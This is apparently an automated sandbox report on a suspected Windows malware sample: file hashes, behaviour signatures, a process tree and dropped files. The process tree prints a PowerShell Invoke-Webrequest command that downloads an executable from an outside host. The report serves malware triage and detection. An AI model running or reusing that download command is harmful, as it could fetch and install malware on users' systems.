Analysis

  • max time kernel
    142s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-08-2023 06:38

General

  • Target

    96c30f7179f2d7045aba556d3b8f92af.exe

  • Size

    122KB

  • MD5

    96c30f7179f2d7045aba556d3b8f92af

  • SHA1

    d67b625b55c6eebd2295e3320ffc9e62d4523a91

  • SHA256

    4b45a2333b183144267f5492c7dae553b28ad86d03a96891efb0fb04359d67e4

  • SHA512

    17e0a714f9b041195c36440ae0afda119ff919f282df7e9e0001cfddd1009736dc0af4d58ef697ca52a174ec19ada046e0f18f70bd1709c8f8dd8ede747a086a

  • SSDEEP

    3072:w/25jvDSgsqsb5Uh28vAbTV1WW69B9VjMdxPedN9ug0z9TBfFSEj:Ltzsb5Uh28+V1WW69B9VjMdxPedN9ugC

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\96c30f7179f2d7045aba556d3b8f92af.exe
    "C:\Users\Admin\AppData\Local\Temp\96c30f7179f2d7045aba556d3b8f92af.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4008
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\B91E.tmp\B91F.tmp\B920.bat C:\Users\Admin\AppData\Local\Temp\96c30f7179f2d7045aba556d3b8f92af.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Invoke-Webrequest -URI "https://vfileserver.luiswilfredowil.repl.co/utilsx.exe" -OutFile "C:/Users/Admin/Desktop/utilsx/utilsx.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:748

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\B91E.tmp\B91F.tmp\B920.bat

    Filesize

    197B

    MD5

    357324c3dee28a16a77699ead1f205ae

    SHA1

    a8de60d51730031d4e822103559f10ba835591f9

    SHA256

    b61db88b668aebc41fab8f2de6327ceb95313279829317cdca1facfd6b60b087

    SHA512

    759c4e970be66153adb0d1f68ab0559dd03f62ac5d4e21439d337b90d16671ceee19679ab1595d911dedee391714d3ecf4f1539136a320f87cea6e57fa26092c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y3ifivhc.xtx.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/748-135-0x000002AADABF0000-0x000002AADAC12000-memory.dmp

    Filesize

    136KB

  • memory/748-145-0x00007FFC8A1E0000-0x00007FFC8ACA1000-memory.dmp

    Filesize

    10.8MB

  • memory/748-146-0x000002AADAC30000-0x000002AADAC40000-memory.dmp

    Filesize

    64KB

  • memory/748-147-0x000002AADAC30000-0x000002AADAC40000-memory.dmp

    Filesize

    64KB

  • memory/748-150-0x00007FFC8A1E0000-0x00007FFC8ACA1000-memory.dmp

    Filesize

    10.8MB